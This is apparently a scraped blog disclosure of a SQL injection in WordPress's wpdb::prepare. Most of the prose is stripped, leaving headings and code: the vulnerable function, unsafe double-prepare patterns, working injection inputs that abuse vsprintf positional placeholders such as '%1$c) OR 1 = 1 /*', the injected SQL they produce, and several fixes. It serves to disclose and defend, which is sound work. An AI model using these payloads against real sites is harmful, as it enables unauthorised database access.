Disclosure: WordPress WPDB SQL Injection - Technical

Disclosure: WordPress WPDB SQL Injection - Technical

What Site Owners Should Do

What Hosts Should Do

What Plugin Developers Should Do

$where = $wpdb->prepare(" WHERE foo = %s", $_GET['data']);
$query = $wpdb->prepare("SELECT * FROM something $where LIMIT %d, %d", 1, 2);
$where = "WHERE foo = '" . esc_sql($_GET['data']) . "'";
$query = $wpdb->prepare("SELECT * FROM something $where LIMIT %d, %d", 1, 2);
$where = "WHERE foo = %s";
$args = [$_GET['data']];
$args[] = 1;
$args[] = 2;
$query = $wpdb->prepare("SELECT * FROM something $where LIMIT %d, %d", $args);

The Original Vulnerability

public function prepare( $query, $args ) {
    if ( is_null( $query ) )
        return;
    // This is not meant to be foolproof -- but it will catch obviously incorrect usage.
    if ( strpos( $query, '%' ) === false ) {
        _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
    }
    $args = func_get_args();
    array_shift( $args );
    // If args were passed as an array (as in vsprintf), move them up
    if ( isset( $args[0] ) && is_array($args[0]) )
        $args = $args[0];
    $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
    $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
    $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
    $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
    array_walk( $args, array( $this, 'escape_by_ref' ) );
    return @vsprintf( $query, $args );
}
$items = implode(", ", array_map([$wpdb, '_real_escape'], $_GET['items']));
$sql = "SELECT * FROM foo WHERE bar IN ($items) AND baz = %s";

$query = $wpdb->prepare($sql, $_GET['baz']);
vsprintf('%s, %d, %s', ["a", 1, "b"]); // "a, 1, b"
vsprintf('%s, %d, %1$s', ["a", 2, "b"]); // "a, 2, a"
$_GET['items'] = ['%1$s'];
$_GET['baz'] = "test";
$_GET['items'] = ['%1$c) OR 1 = 1 /*'];
$_GET['baz'] = 39;
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*' AND baz = 'test';
if ( $delete_all ) {
  $value_clause = '';
  if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
    $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
  }
  $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}

The Original Fix

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query );

The First Issue With The Fix.

$db->prepare("SELECT * FROM foo WHERE name= '%4s' AND user_id = %d", $_GET['name'], get_current_user_id());

The full breach

if ( $delete_all ) {
  $value_clause = '';
  if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
    $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );
  }
  $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );
}
$meta_value = ' %s ';
$meta_key = ['dump', ' OR 1=1 /*'];
SELECT type FROM table WHERE meta_key = 'dump' AND meta_value = '' OR 1=1 /*'
 AND meta_value = ' %s '

The Simple Fix

The Mitigation Fix

$query = str_replace('%', "{$this->placeholder_escape}", $query );

The Correct Fix

Also

Comments

Popular posts from this blog

A Tailwind CSS Preset for Laravel 5.5

Short and safe array iteration

PHPStorm's performance